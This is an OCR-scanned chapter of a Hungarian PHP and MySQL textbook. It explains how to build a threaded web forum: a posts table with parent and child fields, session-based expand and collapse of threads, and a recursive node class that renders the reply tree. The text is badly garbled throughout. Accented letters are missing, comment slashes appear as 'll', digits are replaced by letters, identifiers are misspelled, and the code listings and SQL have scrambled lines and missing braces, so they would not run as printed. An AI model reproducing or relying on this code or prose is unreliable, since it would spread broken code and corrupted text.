Megjegyzs:Kicsit furcsn hangozhat, hogy az els hozzszlst gykrnek nevezzk, mivel a gykr csompontot ltalban az ilyen brk tetejre rajzoijuk, az igazi fk gykerei pedig lenn, a talajban helyezkednek eL
A projekthez szksges fasttuktra ltrehozshoz s megjelentshez rekurzv fggvnyeker fogunk rni.(A rekurzirl

a Kd tbbszriJelhasznlsa s fggvnyrs cm 5.fejezerben esett sz.) gy tltk meg, hogy rdemes osztlyt hasznlni ehhez a struktrhoz, mert ez a legegyszerbb mdja az alkalmazs ltal ignyelt sszetett, dnamikusan bvl adatszerkezet ltrehozsnak. Ez egyttal azt is jelenti, hogy viszonylag egyszer, ele gns kddal fogunk valami meglehetsen sszetett dolgot elrni.

A megolds ttekintse
Hogy jobban megrtsk a projekret, rdemes vgigvenni a kdjt, amit rvidesen meg is tesznk.Az alkalmazs a korbbiaknl kevesebb, m valarnivel bonyolulrabb kdbl ll ssze. Az alkalmazs mindssze hrom oldalbl ll. Az egyik egy f indexoldal, ami az egyes tmkra viv hivatkozsokknt mu tatja a frum sszes tmjt. Ezen az oldalon j tmt indrhatunk, megtekinthetjk a listban szerepl tmkat, illetve a fan zet gait kibontva s sszezrva megvltoztathaguk az egyes tmk nzett. (Errl hamarosan bvebben beszlnk majd.)

Webes frum fejlesztse

519

Az egy adott tmt megjelent oldalon hozzszlhatunk a tmhoz, illetve megtekinthetjk a korbbi hozzszlsokat. Az

j tma oldalon j topikor indthatunk, amelynek tmaindt hozzszlsa lehet vlasz egy korbbi hozzszlsra, illetve lehet j, a korbbi hozzszlsoktl fggetlen zenet. A rendszer folyamatbrjt a 31.2 brn lthatjuk.
Article list

View an article

reply

l Add a new article

31.2 bra: A

blah-blahfrumrendszer hrom rszbl ll.

Az alkalmazs fjljait a 31.1 tblzat mutatja.


31.1 tblzat: A

webesfrumalkalmazsfjijai
Tpus Lers

Nv
index.php

Alkalmazs

A nyitlap, amit a felhasznlk az oldal behvsakor ltnak. Az oldalon tallhat frumtmk kibonthat s sszecsukhat listjt tartalmazza.

31

uj_hozzaszolas.php uj_hozzaszolas_tarolasa.php

Alkalmazs Alkalmazs Alkalmazs Knyvtr Knyvtr Knyvtr Knyvtr Knyvtr Knyvtr SQL

j tma indtsra szolgl rlap. Az oldal, ahol az uj_ hozzaszolas. php rlap tmain dt hozzszlsait troljuk. Az egyes tmkat, illetve az azokhoz rt hozzszlsokat megjelent oldal. A hozzszlsok hierarchijnak megjelentsre hasz nlt csomopont osztlyt tartalmaz fjl. Az alkalmazs fggvnyknyvtrainak listja (a tblzat ezeket a knyvtr tpus fjlokat is tartalmazza). Az adatellenrz fggvnyek gyjtemnye. Az adatbzishoz csatlakozsta hasznlt fggvnyek gyj temnye. A hozzszlsok trolsra s visszakeressre hasznlt fggvnyek gyjtemnye. A HTML kimenetet elllt fggvnyek gyjtemnye. Az alkalmazshoz szksges adatbzist ltrehoz SQL kd.

hozzaszolas_megtekintese.php

csomopont_osztaly.php

beillesztett_fuggvenyek.php

adat_ellenorzo_fuggvenyek.php adatbazis fuggvenyek.php

forum_fuggvenyek.php

kimeneti_fuggvenyek.php adatbazis letrehozasa.sql

Nzzk meg vgre az alkalmazs megvalstst!

Az adatbzis megtervezse
A frumhoz rt minden hozzszls esetn a kvetkez attribtumokat kell eltrolnunk: a hozzszl nevt, a hozzszls

cmt, rsnak dtumt s magt a szveget. Ezrt hozzszlsok tbljra lesz szksgnk, s minden egyes hozzszlshoz ltre kell hozni egy hozzaszolas I D nev, egyed azonostt. Az sszes hozzszlsnl tisztban kell lenni azzal, hogy a hierarchin bell hol helyezkedik el. Az egyes hozzszlsok gyermekeire vonatkoz informcit eitroihatnnk akr az adott hozzszlssal egytt, m ez a fajta trolsi md elbb-utbb problmkat okozna az adatbzis felptsben. Mivel minden hozzszls csak egy korbbi hozzszlsta rt vlasz lehet, egyszerbb a dolgunk, ha a szl hozzszlsra mutat hivatkozst troljuk-vagyis azt, hogy melyik hozzszlsra vlaszol. A fentiekbl kvetkezen az albbi adatokat kell minden egyes hozzszls esetn feljegyezni:
hozzaszolasiD szulo

-A hozzszls e!f,edi azonostja

-A szl hozzszls hozzaszolasiD-ja

520

31.fezet

hozzaszolo

-A hozzszls szerzje

eim

-A hozzszls cme -A hozzszls rsnak dtuma s ideje -A hozzszls tartalma

idopont uzenet

Nmikppen optimalizlni szksges a hozzszlsokrl eltrolt informcikat. Amikor azt prbljuk meg megllaptani, hogy valamely hozzszlshoz tartozik-e vlasz, lekrdezst kell futtami, hogy lssuk, lteznek-e olyan hozzszlsok, amelyeknek az adott hozzszls a szlje. Erre az informcira a megjelenteni k vnt sszes hozzszls esetn szksgnk van. Minl kevesebb lekrdezst kell vgreh:ytanunk, annl gyorsabban fog futni a kdunk. Szksgcelenn tehetjk ezeket a lekrdezseket, ha hozzadunk a tblhoz egy olyan oszlopot, amely jelzi, hogy az adott hozzszlsra rdrak-e vlaszok. Hvjuk ezt a mezt gyermek-nek, s tegyk lnyegben Boole-i vltozv: rtke l lesz, ha a csompontnak vannak gyermekei, s O (nulla), ha nincsenek. Az optimalizlsnak szinte mindig ra van. Jelen esetben ez redundns adatok trolsban jelentkezik. Mivel ktfelekppen troljuk az adatokat, gyelnnk kell, hogy a ktfle mdszer mindig sszhangban legyen egymssal. Gyermek hozzadsakor mdostanunk kell a szlt is. Ha megengedjk a gyermekek, vagyis a vlaszknt rt hozzszlsok trlst, az adatbzis kon zisztenci:ija rdekben a szl csompontot is frissteni kell. Projektnkben nem teremgk meg a hozzszlsok trlsnek lehetsgt, gy a lehetsges problmk ezen felt kzrruk. Ha azonban brmikor gy dntnk, hogy tovbbfejlesztjk ezt az alkalmazst, ne feledkezznk meg errl a krdsrl! Mg egy tovbbi, az optimalizlst szolgl lps szksges: elvlasztjuk a hozzszlsok szvegt a tbbi adattl, s kln tblban troljuk. Ennek az az oka, hogy a hozzszlsok ezen attribtumnak MySQL-tpusa text, azaz szveg lesz. Az, hogy valamely tblzat szveg tpus mezvel rendelkezik, lelassthaga a tbln futtatott lekrdezseket. Mivel a fastruhra

31

ltrehozshoz rengeteg apr lekrdezst kell majd vgrehajtani, ilyen tpus mez esetn igencsak lelassulna az alkalmazs. A hozzszlsok tartalmnak kln tblban trolsval megtehetjk, hogy csak akkor keressk vissza azokat, amikor a fel hasznl meg kvnja jelenteni az adott zeneteket. A rgztett mret rekordokban a MySQL gyorsabban rud keresni, mint a vltoz mretekben. Ha vltoz mret adato kat kell hasznlnunk, rdemes ezekhez a mezkhz indexeket ltrehozni, s azok segtsgvel keresni az adatbzisban. Egyes projekteknl azzal jrunk a legjobban, ha a szveges mezt ugyanabban a tblban hagyjuk, mint minden mst, s indexeket llrunk el azokon az oszlopokon, amelyekre keresni fogunk. m az indexek ellltshoz is idre van szksg, s mvel a f rumban lv adatok minden bizonnyal llandan vltoznak, jra s jra el kellene lltani az indexeket. Egy
terulet

nev attribrumot is hozzadunk a tblhoz; erre akkor lesz szksg, ha a ksbbiekben gy dntnk, hogy

ezzel az egy alkalmazssal tbb tmakrben szeretnnk fruroot mkdtetni. Projektnkben ezt nem hasznljuk k, de a jv re nzve megreremgk a lehetsgt. A frumhoz (a fenti megfontolsok figyelembe vtelvel) szksges adatbzist a 31.1 pldakdban tallhat SQL kd lltja el. 31.1 pldakd:

adatbazis_letrehozasa.sql- A frum adatbzist ltrehoz SQL kd


forum;

CREATE DATABASE

USE

forum;

CREATE TABLE

fejlee

szulo INT NOT NULL, hozzaszolo CHAR(20) eim CHAR(20) NOT NULL,

NOT NULL,

gyermek INT DEFAULT 0 NOT NULL, terulet INT DEFAULT l NOT NULL, datum DATETIME NOT NULL, hozzaszolasiD INT UNSIGNED NOT NULL AUTO INCREMENT ); PRIMARY KEY

CREATE TABLE tartalom ( hozzaszolasiD INT UNSIGNED NOT NULL PRIMARY KEY,

Webes frum fejlesztse

521

uzenet TEXT

GRANT SELECT, ON forum.*

INSERT,

UPDATE,

DELETE

TO forum@localhost IDENTIFIED

BY

'jelszo';

Az adatbzis-szerkezer ltrehozshoz futtassuk a fenti kdot MySQL-ben:


mysql -u root -p < adatbazis letrehozasa.sql

Meg kell adnunk root jelszavunkat, illetve rdemes lehet a frum felhasznlja szmra bellrorr jelszr valami megfele lbbre vlrozratni. Hogy megrtsk, hogyan trolja ez a srruktra a hozzszlsokat s azok egymshoz viszonyrott kapcsolatt, nzzk meg a 31.3 brt!
Database representation postid: 1 Tree representation

1
l

parent: O

postid: 2

parent: 1

,
postid: 3 parent: 1

postid:4

parent: 2

31
\,

31.3 bra: Az

adatbzis kiegyenestett relcis formban trolja aJastruktrt.

Az brn jl lthat, hogy az adarbzisban szerepl minden egyes hozzszls szu lo mezje a fasrruktrban felette ta !lhat hozzszls hozzaszolas ID-jr tartalmazza. A szl hozzszls az, amire az adott hozzszls vlaszol. Ltszik, hogy a gykr csomponrnak, az l hozzaszalasiO-j hozzszlsnak nincsen szlje. Minden tmaindr hozzszls ilyen lesz. Az ilyen rpus hozzszlsoknl O (nulla) szerepel majd az adarbzis szulo mezjben.

A hozzszlsok fanzetnek megtekintse


Mosr pedig olyan mdszerre van szksgnk, amivel kinyerherjk az adarbzisbl az informcit, majd kpesek lesznk fasrruktrban megjelenteni azt. Mindezr az index. php nev nyitoldalon tesszk meg. A mosr kvetkez magyarzsr megknnyrend az uj_hozzaszolas. php s az uj_hozzaszolas_tarolasa. php kddal felelettnk nhny hozz szlsr; a kr fjlt a kvetkez rszben vizsgljuk majd meg. Azrt kezdnk a hozzszlsok lisrjval, mert ezek alkotjk az oldal mkdsnek a gerincr. Ha ezzel megvagyunk, a tb
bi mr gyerekjtk lesz. A 31.4 brn a hozzszlsok kezdeti nzert ltjuk, azt, amivel a felhasznl elszr tallkozik olda

lunkon. Az brn az sszes tmaindr hozzszlst lthatjuk. Ezek egyike sem korbbi hozzszlsta adott vlasz, mindegyik
a sajt

tmjnak els hozzszlsa.

522

31.fezet

31.4 bra: A

hozzszlsok listjnak kezdeti nzete "sszecsukott llapotban" mutatja a tmkat.

Mr ezen az oldalon is tbb lehetsg kzl vlaszthatunk. A mensorban lv gombokkal j hozzszlst rhatunk, illetve kibonthatjuk s sszecsukhatjuk a tmk nzett. Hogy megrtsk, pontosan mit jelentenek ezek a lehetsgek, nzzk meg
az

egyes tmkat! Nmelyik eltt egy pluselet

lthatunk. Ez azt jelenti, hogy ezekre a hozzszlsokra mr vlaszoltak.A vlaszok megjelentshez kattintsunk erre a plusz jelre! A 31.5 brn lthat szerkezetet gy kaptuk, hogy az egyik pluselre kattintottunk.

31

31.5 bra: A

tmhoz rt hozzszlsokat kibontva jelentettk meg.

A pluselre kattintva teht a tmaindt hozzszlshoz rt vlaszokat jelenthetjk meg. Ha ezt megtesszk, a plusel mnussz vltozik. Ha erre, teht a mnuselre kattintunk, a hozzszlsokat sszecsukjuk, s ismt a kezdeti nzethez jutunk. A 31.5 brn az egyik vlasz mellett is mnuselet figyelhernk meg. Ez azt jelenti, hogy erre a vlaszra is szlettek vlaszok. A vlaszok szintje tetszleges mlysgig elmehet, s az egyes vlaszokat a megfelel pluselekre kattintva tekinthetjk meg. A mensoron lthat.Kibonts" s sszecsuks" gombbal kibonthatjuk, illetve sszecsukhatjuk a hozzszlsok fonalait. " A Kibonts" gombra kattints eredmnyt a 31.6 brn lthatjuk. "

31.6 bra: A

hozzszlsok Janzete teljesen kibontott llapotban.

Webes frum fejlesztse

523

Ha kzelebbrl megnzzk a 31.5 s a 31.6 brt, lthatjuk, hogy a parancssorban paramtereket adunk t az index.php fjlnak. A 31.5 brn az albbi URL lthat:
http:lllocalhostlphp_es_mysqll31_fejezetlindex.php?kibont=5#5

A kd a kvetkezkppen olvassa ezt a sor:"bontsd ki az 5-s hozzaszelasiO-j elemet!" A# egyszeren egy HTML horgony, ami az ppen kibontott elemet tartalmaz rszre grgeti le az oldalt. A 31.6 brn gy nz ki
az

URL:

http:lllocalhostlphp es_mysqll31 fejezetlindex.php?kibont=mind

A.Kibonts" gomb a mind rtkkel adja t a kibont paramtert.

Kibonts s ssz;ecsuks
Hogy lssuk, hogyan jn ltre a hozzszlsok nzete, vizsgljuk meg a 31.2 pldakdban lthat index.php fjl tartalmt! 31.2 pldakd: index. php -A hozzszlsoknak az alkalmazs nyitoldaln lthat nzett elllt kd
<?php session _start() ; include ('beillesztett fuggvenyek.php');

ll ellenrizzk,

hogy ltrehoztuk-e a munkamenet-vltozkat

if(!isset($_SESSION['kibontva'])) $ SESSION['kibontva'l = array();

31

ll ellenrizzk,

hogy valamelyik kibonts gombra kattintottak-e vagy lehet res

ll a kibont rtke lehet 'mind' vagy adott hozzaszolasiD, if(isset($_GET['kibont'])) if($_GET['kibont'] else
==

'mind')

mindet kibont($ SESSION['kibontva'l);

{
true;

$_SESSION['kibontva' l [$_GET['kibont'lJ

ll ellenorizzk,

hogy valamelyik sszecsuks gombra kattintottak-e vagy lehet res

ll az osszecsuk rtke lehet 'mind' vagy adott hozzaszolasiD, if(isset($_GET['osszecsuk'])) $_SESSION['kibontva'] else

{ {

if($_GET['osszecsuk'l=='mind')

= array();

unset{$_SESSION['kibontva'] [$_GET['osszecsuk']]);

html fejlec_letrehozasa('Frumtmk'); index eszkozsor_megjelenitese(); ll a tmk fanzetnek megjelenitse fanezet_megjelenitese($ SESSION['kibontva']); html_lablec letrehozasa(); ?>

524

31. fejezet

A kd az albbi hrom vltoz hasznlatval vgzi el feladatt: A kibontva munkamenet-vltozval, ami azt tartja szmon, hogy melyik tmk (mely beszlgetsfonalak) vannak kibontva. A vltoz nzetrl nzetre megrizhet, gy egyszerre tbb beszlgetsfonl is kibontott llapotban lehet. A kibontva vltoz asszociatv tmb, amely azoknak a hozzszlsoknak a hozzaszolas ID-jt tartalmazza, ame lyeknek a vlaszai ki vannak bontva. A kibont paramterrel, amely azt kzli a kddal, hogy melyik beszlgetsfonalakat kell kibontani. Az osszecsuk paramterrel, amely a:;:t tudatja a kddal, hogy melyik fonalakat kell sszecsuknia. Amikor a plusz- vagy mnuselre, illetve a.,Kibonts" s.,sszecsuks" gombra kattintunk, az ezzel kivltott mvelet az
index. php kdot hvja meg gy, hogy j rtkeket trol a kibont s osszecsuk paramterben. A kibontva vltozt

arra hasznljuk, hogy oldalrl oldalra lpkedve nyomon tudjuk kvetni, mely fonalakat kell az adott nzetekben kibontani. Az index. php kd elszr is indt egy munkamenetet, majd - ha ez korbban mg nem trtnt meg- hozzadja mun kamenet-vlto:;:knt a kibontva vltozt. Ezt kveten ellenrzi, hogy kapott-e kibont vagy osszecsuk paramtert, majd ennek megfelelen mdostja a kibontott tmbt. Nzzk most meg a kibont paramter kdjt:
if(isset($_GET['kibont' l))

{ {

if($_GET['kibont'l == 'mind') else

mindet_kibont($ SESSION['kibontva'll;

{
true;

$ SESSION['kibontva'l[$_GET['kibont'll

31

Ha a.Kibonts" gombra kattintunk, amindet_kibont ()

fggvnyt hvjuk meg, ami a vlaszokkal rendelkez sszes

tmt berakja a kibontva tmbbe. (Rvidesen megvizsgljuk ezt.) Ha konkrt beszlgetsfonalat kisrink meg kibontani, a kibont paramterben egy hozzaszolasiD-t fogunk kapni. Ekkor a kibontva tmbh:;: ezt tkrzend egy j elemet kell hozzadnunk.
Amindet_kibont() fggvny kdjt a 31.3 pldakdban ltjuk.

31.3 pldakd: A forum_fuggvenyek. php kny vtr mindet_kibont ()fggvnye- Afggvny a $kibontva tmb

tartalmtfeldolgozva kibonija afrumban lv sszes tmt


function mindet kibont(&$kibontva) {

ll a gyermekeket tartalmaz tmk kijellse kibontottknt val megjelentsre


$kapcsolat = adatbazishoz kapcsolodas(); $lekerdezes = "SELECT hozzaszolasiD FROM fejlee WHERE gyermek $eredmeny = $kapcsolat->query($lekerdezes); $szam = $eredmeny->num_rows; for($i = 0; $i<$szam; $i++)
=

l";

$aktualis sor = $eredmeny->fetch_row(); $kibontva[$aktualis sor[Oll=true;

A fggvny adatbzis-lekrdezst futtatva llaptja meg, hogy a frum mely hozzszlsai rendelkeznek vlasszal vagy vlas:;:okkal:
SELECT hozzaszolasiD FROM fejlee WHERE gyermek = l

A lekrdezs ltal visszaadott hozzszlsok hozzaddnak a kibontva tmbhz. Azrt futtatjuk ezt a lekrdezst, hogy ksbb idt takartsunk meg. Megrehernnk, hogy egyszeren az sszes hozzs:;:lst hozzadjuk a kibontottak listjhoz, de ksbb feleslegesen pazarolnnk el erforrsokat, amikor megkisrelnnk feldolgozni a nem ltez vlaszokat. A hozszlsok sszecsuksa pontosan fordtva trtnik:
if(isset($_GET['osszecsuk'l)) { if($_GET[ 'osszecsuk'l=='mind') else

$ SESSION['kibontva'l = array();

unset($ SESSION['kibontva'l[$_GET['os szecsuk' ll);

Webes frum fejlesztse

525

A kibontva tmbbl gy tvolthatjuk el az elemeket, hogy kitrljk. Eltvoltjuk az sszecsukni kvnt beszlgetsfona lakat, vagy- ha az oldal sszes tmjt ssze akarjuk csukni- kitrljk az egsz tmbt. Mindez csak elkszlet volt, hogy tudjuk, melyik hozzszlsokat kell megjelenteni, s melyeket nem. A kd f rsze a fanezet_megjelenitese($_SESSION ['kibontva' l) ; meghvsa, amely a megjelentend hozzszlsok fanzett lltja el.

A hozzszlsok megjelentse
Vizsgljuk meg a 31.4 pldakdban lthat fanezet_megjelenitese () fggvnyt! 31.4 pldakd: A kimeneti_fuggvenyek. php

knyvtr fanezet_megjelenitese ()fggvnye- A fggvny a fastruk

tra gykr csompanijt lllja el


function fanezet_megjelenitese($kibontva, ll a tmk fanzetnek megjelenitse $sor O, $start

0)

global $tablazat_szelessege; echo "<table width=\"".$tablazat szelessege."\">";

ll nzzk meg, if($start>O) $reszlista else

hogy a teljes listt vagy csak egy rszt jelentjk meg!

true;

31

{
false;

$reszlista

ll a tma sszefoglalst ad fastruktra ltrehozsa $fa = new csomopont($start,

'',

'',

'',

l,

true,

-1,

$kibontva,

$reszlista);

ll utastsuk a ft,

hogy jelentse meg nmagt! $reszlista);

$fa->megjelenites($sor,

echo "<ltable>";

A fanezet_megjelenitese () fggvny legfbb feladata a fastruktra legfels csompontjnak ltrehozsa. Has:z: nlatval jelentjk meg a hozzaszolas_megtekintese. ph p oldalon a teljes indexet, s hozzuk ltre a vlaszok rszfit. A fggvny hrom paramtert fogad. Az els, a $kibontva a kibontott nzetben megjelentend hozzszlsok
hozzaszolas ID-jainak a listja. A msodik paramter a $sor, ez a sor sorszmt jelzi, amit arra hasznlunk majd, hogy

vltakoz szn sorokat hozzunk ltre. A $start nev harmadik paramter kzli a fggvnnyel, hogy hol kezdje megjelenteni a hozzszlsokat. Ez a ltrehozan d s megjelentend gykr csompont hozzaszolas ID-ja. Ha- a foldalon lvn- az sszes tmt szeretnnk megjelen teni, akkor rtke O (nulla) lesz, ami azt jelenti, hogy a szl nlkli hozzszlsokat kvnjuk megjelenteni. Ha ez a paramter O, akkor false rtket lltunk be a $reszlista vltoznak, s a teljes ft megjelentjk. Ha a paramter O-nl nagyobb, akkor ezt fogjuk a megjelentend fa gykr csompontjaknt hasznlni, true-ra lltjuk a $reszlista rtkr, majd csak a fa egy rszt jelentjk meg. (Rszlistkat a ho:z::z:aszolas_megtekintese.php kd ban hasznlunk.) A fggvny legfontosabb feladata a csomopont osztly egy, a fa gykert jelkpez pldnynak ltrehozsa. Ez valjban nem igazi hozzszls, de az els szint, szl nlkli hozzszlsok szljeknt viselkedik. A fa ltreho:z:sa utn egyszeren meghvjuk megjelent fggvnyt, hogy tnylegesen megjelentsle a hozzszlsok listjt.

526

31. fejezet

A csomapont osztly hasznlata


A csomepont osztly kdjt a 31.5 pldakdban talljuk. (Mieltt ttanulmnyoznnk, rdemes lehet az

tlt PHP cm 6. fejezetbe belelapozva tismtelni az osztlyok mkdst.)


31.5 pldakd:
<?php

Objektumorien

A csomopent_osztaly.php fjl csomopont osztlya- Az alkalmazs gerince

ll ebben a fjlban tallhatk a fanzet betltsre, ll ltrehozsra s megjelentsre hasznlt fggvnyek


class csomapont {

ll a fanzet minden csompontjnak tagvltozi vannak, ll amelyek a hozzszls szvegn kvl annak minden adatt tartalmazzk
public $m_hozzaszolasiD; public $m_cim; public $m_hozzaszolo; public $m_datum; public $m_gyermek; public $m_gyereklista; public $m_szint;

31

public function

__

construct($hozzaszolasiD, $eim, $hozzaszolo, $datum,

$gyermek, $kibont, $szint, $kibontva, $reszlista)

ll a konstruktor belltja a tagvltozkat, de ami ennl is fontosabb, ll rekurzv mdon ltrehozza a fa alsbb rszeit
$this->m_hozzaszolasiD = $hozzaszolasiD; $this->m_cim = $eim; $this->m_hozzaszolo = $hozzaszolo; $this->m_datum = $datum; $this->m_gyermek =$gyermek; $this->m_gyereklista = array(); $this->m_szint = $szint;

ll csak akkor foglalkozunk azzal, hogy mi van a csompont alatt, ll ha vannak gyerekei, s ki van jellve kibontsra ll a rszlistk mindig ki vannak bontva
if(($reszlista

l l

$kibont)

&&

$gyermek)

$kapcsolat = adatbazishoz kapcsolodas(); $lekerdezes = "SELECT * FROM fejlee WHERE szulo = '".$hozzaszolasiD."' ORDER BY datum"; $eredmeny = $kapcsolat->query($lekerdezes);

for ($szamlalo=O; if($reszlista $kibont else {

$sor = @$eredmeny->fetch_assoc();

$szamlalo++)

l l

$kibontva [$sor['hozzaszelasiO'll == true)

true;

$kibont = false; $this->m_gyereklista[$szamlalol= new csomopont($sor['hozzaszolasiD'l, $sor['cim'l, $sor['hozzaszolo'l,$sor['datum'l, $sor['gyermek'l, $kibont, $szint+l, $kibontva, $reszlista);

Webes frum fejlesztse

527

function megjelenites($sor,

$reszlista = false)

ll mivel objektumrl van sz, ll a $sor vltoz mondja meg, ll gy tudjuk, ll a $reszlista vltoz kzli, ll $reszlista = true kell, ll

felel sajt maga megjelentsrt

hogy a megjelents melyik sornl jrunk,

hogy milyen szn legyen hogy a foldalon


A hozzszlsok

ll vagy a hozzszlsok oldaln vagyunk. hogy legyen.

oldaln

ll A rszlistkon minden hozzszls ki van bontva, ''+'' s ''-'' jelek.

s nincsenek

ll ha ez az res gykr csompont, if ($this->m_szint>-1)

hagyjuk ki a megjelentst!

ll vltakoz szn sorok belltsa echo "<tr><td bgcolor=\""; if ($sor%2)

echo ' '#cccccc\'' > ''; else echo "lffffff\">";

31
$i++)

ll a vlaszok szintjknek megfelel mrtk behzsa for($i = 0; $i < $this->m_szint;

echo "<img src=\"imagesl terkoz.gif\" height=\"22\" width=\"22\" alt=\"\" valign=\"bottom\" l>";

ll + vagy - vagy trkz megjelenitse if ((!$reszlista) && ($this->m_gyermek) && (sizeof($this->m_gyereklista))) ll a foldalon vagyunk, vannak gyermekek, s ki vannak bontva

ll ki vannak nyitva - knljuk fel az sszecsuksra szolgl gombot! echo "<a href=\"index.php?osszecsuk=". $this->m_hozzaszolasiD."I".$this->m_hozzaszolasiD."\"><img src=\"imagesl minusz.gif\" valign=\"bottom\" height=\"22\" width=\"22\" alt=\"Tma sszecsuksa\" border=\"0\" l ><la>\n"; else if(!$reszlista && $this->m_gyermek)

ll ssze vannak csukva - knljuk fel a kibontsra val gombot! echo "<a href=\"index.php?kibont=". $this->m_hozzaszolas!D."I".$this->m_hozzaszolas!D."\"><img src=\"imageslplusz.gif\" valign=\"bottom\" height=\"22\" width=\"22\" alt=\"Tma kibontsa\" border=\"0\" l><la>\n"; else

{
vagy rszlistban vagyunk, nem kell gomb

ll nincsenek gyermekek,

echo "<img src=\"imageslterkoz.gif\" height=\"22\" width=\"22\" alt=\"\" valign=\"bottom\"1>\n";

echo "<a name=\ '"'.$this->m_hozzaszolas!D."\"><a href=

528

31. fejezet

\" hozzaszolas_megtekintese.php?hozzaszolasiD=". $this->m_hozzaszolasiD."\">". $this->m_cim." - ".$this->m_hozzaszolo." - ". datum_formazasa($this->m_datum) ."<la><ltd><ltr>"; ll sorszmll nvelse a vltakoz szn sorok ellltshoz $sor++; ll megjelenites fggvny meghvsa a csompont sszes gyermekn ll egy csompontnak csak akkor lesznek gyermekei a listban, $szam_gyermek = sizeof($this->m_gyereklista); for($i 0; $i<$szam_gyermek; $i++) { $reszlista); $sor = $this->m_gyereklista[$i]->megjelenites($sor, return $sor; ha ki van bontva

?>

31

Ez az osztly tartalmazza az alkalmazs fanzetet lehetv tev funkciit. A csomopont osztly minden egyes pldnya egyeden hozzszls adatait, illetve az arra a hozzszlsra adott vlaszokra mutat hivatkozsokat tartalmazza. A kvetkez tagvltozkhoz jutunk ezzel:
public $m_hozzaszolasiD; public $m_cim; public $m_hozzaszolo; public $m_datum; public $m_gyermek; public $m_gyereklista; public $m_szint;

Vegyk szre, hogy a csomopont objektum nem tartalmazza a hozzszls szvegt! Azt ugyanis mindaddig nem szk sges betlteni, amg a felhasznl a hozz aszolas _ megtekintese.php kdhoz nem jut. Meg kell prblni viszonylag gyorss tenni ezt a folyamatot, mert a fanzet megjelentshez rengeteg adat kezelsre van szksg, illetve jelents mennyi sg adatot kell jra kiszmtani az oldal frisstsekor vagy valamelyik gombra kattintskor. Ezeknl a vltozknl az objek tumorientlt programozsban gyakran alkalmazott elnevezsi szokst kvettk: a vltoznevek m
_

eltaggal jelzik, hogy az

osztly tagvltozirl van sz. E vltozk tbbsge kzvetlenl az adatbzis fej lec tblja sorainak felel meg. A kt kivtel az $m_gyereklista s az $m_sz int. Az elbbiben troljuk a hozzszlsra adott vlaszokat. Az $m_szint vltoz pedig azt trolja, hogy a fastruktrn bell hny szinttel vagyunk lejjebb; erre az adatra a megjelents ltrehozsakor lesz szksgnk. A konstruktorfggvny az albbi kddal lltja be a vltozk rtkr:
public function construct($hozzaszolasiD, $kibont, $szint, $eim, $hozzaszolo, $datum, $gyermek, $kibontva, $reszlista) de ami ennl is fontosabb,

ll a konstruktor belltja a tagvltozkat, $this->m_hozzaszolasiD = $hozzaszolasiD; $this->m_cim = $eim; $this->m_hozzaszolo


=

ll rekurzv mdon ltrehozza a fa alsbb rszeit

$hozzaszolo;

$this->m_datum = $datum; $this->m_gyermek =$gyermek; $this->m_gyereklista = array(); $this->m_szint = $szint;

Amikor a nyitoldalrl a fanezet_megj elenitese () fggvnnyel ellltjuk a gykr csomopont objektumot, lnye gben egy dummy csompontot hozunk ltre, amelyikhez nincsen hozzszls trstva:
$fa = new csomopont($start, '', l, true, -1, $kibontva, $reszlista);

Webes frum fejles:?:tse

529

E2: a kdsor egy O (nulla) $hoz:?:aszolasiD-j gykr csompontot hoz ltre. E:?:t arra tudjuk has:?:nlni, hogy megtalljuk az els snt, azaz tmaindt hozszlsokat, mivel ezeknek nulla szlejk van. A szintjt azrt -l-re lltjuk, mert ez a cso mpont tnylegesen nem jelenik meg a nzetben. Az els snt hozszlsok s:?:intrtke 0, s a kperny bal szln jelennek meg. A s:?:intrtk nvekedsvel a hozszlsok jobbra behzva jelennek meg. A legfontosabb dolog, ami a konstruktorban trtnik, hogy ltrejnnek a csompont gyermek csompontjai. A folyamat annak ellenrzsvel indul, hogy ki kell-e bontanunk a gyermek csompontokat. Ezt csak akkor nzzk meg, ha a csompont rendelkezik gyermekekkel, s gy dntttnk, hogy megjelentjk azokat:
if(($reszlista l l $kibont)
&&

$gyermek) {

$kapcsolat = adatbazishoz kapcsolodas();

Ezt kveten kapcsoldunk az adatbhishoz, majd az albbi kddal visszakeressk a gyermek ho:?:szlsokat:
$lekerdezes = "SELECT
*

FROM fejlee WHERE szulo = '".$hozzaszolasiD."' ORDER BY datum";

$eredmeny = $kapcsolat->query($lekerdezes);

Ezt kveten feltltjk az $m_gyereklista tmbt a csomopont osztly azon pldnyaival, amelyek az ebben a csomopont objektumban trolt hozszlsra adott vlaszokat tartalmazzk:
for ($szamlalo=O; if($reszlista else $sor = @$eredmeny->fetch_assoc(); $szamlalo++)

l 1

$kibontva[$sor['hozzaszolasiD']] == true)

$kibont = true;

$kibont = false; $this->m_gyereklista[$szamlalo]= new csomopont($sor['hozzaszolasiD'],$sor['cim'), $sor['hozzaszolo'],$sor['datum'], $sor['gyermek'], $kibont, $szint+l, $kibontva, $reszlista);

31

Ez az utols sor hozza ltre az j csomopont objektumokat; pontosan ugyanazt az eljrst kveti, mint amin az imnt vgigmentnk, m a fa eggyel alacsonyabb szintjn teszi mindezt. E2: a kd rekurzv rsze: egy szl csompont meghvja a csomopont konstruktort, sajt hozzaszolas ID-jt adja t szlknt, s szintrtke tadsa eltt eggyel megnveli azt. Az gy ltrejtt minden csomopont objektum ltrehozza sajt gyermekeit, s ez mindaddig ismtldik, amg el nem fogy nak a kibontani kvnt vlaszok vagy szintek. Miurn mindezzel megvagyunk, meghvjuk a gykr csomopont megjelent fggvnyr(a fanezet_megjelenitese () fggvnyben):
$fa->megjelenites($sor, $reszlista);

A megj elenites () fggvny elszr is ellenrzi, hogy dummy gykr csompontral ll-e szemben:
if($this->m_szint > -1)

Ezzel megoldhat, hogy a dummy csompont megjelentsrl elrekintsnk. Teljes mrrkben azonban nem kvnjuk r ugrani a gykr csomponrot. Megjelenteni ugyan nem szeretnnk, de tudatnia kell a gyermekeivel, hogy azoknak meg kell jelentenik magukat. A megjelenites () fggvny ezutn elkezdi megrajzolni a hozzszlsokat tartalmaz tblzatot. A maradk mveleti jel(%) segtsgvel llaprja meg a sor httrsznr (gy fogunk vltakoz szn sorokat kapni):
ll vltakoz szn sorok belltsa echo "<tr><td bgcolor=\""; if ($sor%2) echo ' '#cccccc\''>''; else echo "lffffff\">";

Ezt kveten az $m_szint tagvltoz rtkt megvizsglva megllaptja, hogy mennyire kell behznia az adott elemet. Ha a korbban ltott brkhoz visszalapozunk, lthatjuk, hogy minl mlyebb szinten van egy vlasz, annl jobban be van hzva. Az albbi kddal programozzuk ezt:
